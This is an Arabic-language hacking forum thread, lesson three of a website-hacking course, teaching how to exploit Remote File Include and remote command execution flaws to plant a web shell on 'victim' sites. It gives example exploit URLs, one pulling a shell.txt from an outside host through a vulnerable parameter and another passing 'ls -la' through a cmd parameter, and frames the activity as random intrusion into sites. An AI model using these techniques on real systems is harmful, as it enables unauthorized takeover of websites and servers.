انيموس هكر
اهلا و سهلا بك اخي الزائر شرفنا بالتسجيل

وعندما تقوم بالتسجيل انتظر 5 دقائق و سيتم تنشيط عضويتك من الاداره دون ذهابك الى الايميل و تنشيط العضويه
انيموس هكر
اهلا و سهلا بك اخي الزائر شرفنا بالتسجيل

وعندما تقوم بالتسجيل انتظر 5 دقائق و سيتم تنشيط عضويتك من الاداره دون ذهابك الى الايميل و تنشيط العضويه
انيموس هكر
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.


 
الرئيسيةأحدث الصورالتسجيلدخول

 

  الدرس الثالث: البحث عن الثغرات ورفع الشيل

اذهب الى الأسفل 
2 مشترك
كاتب الموضوعرسالة
Admin
Admin
Admin


عدد المساهمات : 9
تاريخ التسجيل : 04/04/2012
العمر : 28
الموقع : اربد

 الدرس الثالث: البحث عن الثغرات ورفع الشيل  Empty
مُساهمةموضوع: الدرس الثالث: البحث عن الثغرات ورفع الشيل     الدرس الثالث: البحث عن الثغرات ورفع الشيل  Icon_minitimeالخميس أبريل 05, 2012 8:19 pm



بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

تحدثنا في الدروس السابقة عن مفاهيم أختراق المواقع وعن أوامر الينكس

وسيكون درسنا الثالث:

البحث عن الثغرات الجديده ورفع الشل (الأختراق العشوائي)

بداية درسنا هذا ندخل في الجد لتطبيق ماتعلمناه في الدرسين السابقه وبالأخص تطبيق الأوامر
لتطبيق الأوامر الي تعلمتها تحتاج شل .. والشل لابد تزرعة على موقع عن طريق ثغرات الريموت وهي
Remote File Include
commands execution
وهذي النوعية من الثغرات خــطــيرة جداً
والسبب انها تنفذ اوامر على السيرفر وممكن تسيطر على الموقع بشكل كامل
طبعاً يوجد ثغرات اخرى للمواقع لاكن ليست بمستوى هالنوعيه وباقي الثغرات اقل خطوره

نوضح طريقه عمل نوعية الثغرتين مع تطبيق عملي تجربة بنفسك

((Remote File Include))
طريقه عمل هذي الثغرات هي ربط الشل مع الموقع وهي اكثر الثغرات انتشار الأن
مثال على شكل استثمار الثغرة
http://www.google.com/index.php?asde....com/shell.txt?
-| نفصل الرابط |-
موقع الضحية: Google
الملف المصاب بالثغرة: index.php?asdely=
ملف الشل: www.aljyyosh.com/shell.txt؟
وبعد التنفيذ اذا الثغرة موجوده والموقع مصاب بها راح تشوف عرض لك الشل .. وهنا يجي وقت تنفيذ الأوامر
ومثل ماتشوف ان رابط الشل جا بعد علامة " = "
ايضاً لابد ان يكون الشل بأمتداد .txt يعني ملف نصي وبعد رابط الشل تضع علامة استفهام " ? "

اما النوعية الثانية
((Remote commands execution))
طريقة عمل هذه النوعية من الثغرات هي تنفيذ الأوامر على طول بدون ماتحط رابط الشل
مثال على شكل استثمار الثغرة
www.google.com/index.php?cmd=ls -la
-| نفصل الرابط |-
موقع الضحية: Google
الملف المصاب بالثغرة: index.php?cmd=
احد اوامر الينكس: ls -la
وبعد التنفيذ اذا الثغرة موجودة فعلاً راح تشوفه يعرض لك في المتصفح نتيجه الأمر المنفذ
ولو نفذت مثلاً امر ls -la راح يعرض لك الملفات والمجلدات والتصاريح في المتصفح وبشكل غير مرتب يصعب التفرقه بين الملفات والمجلدات
ولعرضها بشكل مرتب مثلاً في متصفح الأكسبلور .. من الأعلى تضغط على "عرض" ثم تختار من القائمة "المصدر" وراح يعرض لك نتيجه الأمر في ملف نصي وبيكون بشكل مرتب
[ثغرة للتطبيق]
تم إزالة التطبيق بسبب أحد الأطفال
طبعاً مكان id مثل ماقلنا نكتب الأوامر
يوجد شرح سريع بالفديو في المرفقات بأسم (r-c-e)


بعد ماعرفنا طريقه عمل ثغرات الريموت
ننتقل الى كيفية ايجاد الثغرات الجديدة بأستخدام موقع explot-db


الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://anonymous.mountada.net
ahmedali




عدد المساهمات : 1
تاريخ التسجيل : 23/03/2014

 الدرس الثالث: البحث عن الثغرات ورفع الشيل  Empty
مُساهمةموضوع: رد: الدرس الثالث: البحث عن الثغرات ورفع الشيل     الدرس الثالث: البحث عن الثغرات ورفع الشيل  Icon_minitimeالثلاثاء سبتمبر 30, 2014 4:26 pm

بارك الله فيكم
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
الدرس الثالث: البحث عن الثغرات ورفع الشيل
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» الدرس الثاني: أوامر اللينكس
»  الدرس الأول: مفاهيم أختراق المواقع ومعلومات عن شيل r57

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
انيموس هكر :: دورة اختراق المواقع-
انتقل الى: